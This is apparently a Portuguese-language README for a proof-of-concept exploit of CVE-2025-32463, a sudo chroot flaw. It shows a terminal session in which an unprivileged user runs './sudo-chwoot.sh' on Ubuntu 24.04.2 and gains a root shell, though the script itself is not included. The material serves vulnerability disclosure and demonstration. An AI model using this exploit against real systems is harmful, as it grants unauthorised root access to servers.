sysmancer/cve-2025-32463Exploit de prova de conceito para CVE-2025-32463, demonstrando escalonamento de privilégios de um usuário não privilegiado para um shell root fora de um ambiente chroot por meio de uma vulnerabilidade no sudo.
Referência: https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot
Executando o PoC em um servidor Ubuntu 24.04.2 LTS com Sudo v1.9.15p5, usando um usuário sem privilégios sem regras Sudo definidas, resulta em um shell root fora do ambiente chroot.
lowpriv@prod:/CVE-2025-32463$ id
uid=1001(lowpriv) gid=1001(lowpriv) groups=1001(lowpriv)
lowpriv@prod:/CVE-2025-32463$ sudo -l
[sudo] password for lowpriv:
Sorry, user lowpriv may not run sudo on prod.
lowpriv@prod:~/CVE-2025-32463$ ./sudo-chwoot.sh
woot!
root@prod:/# id
uid=0(root) gid=0(root) groups=0(root),1001(lowpriv)
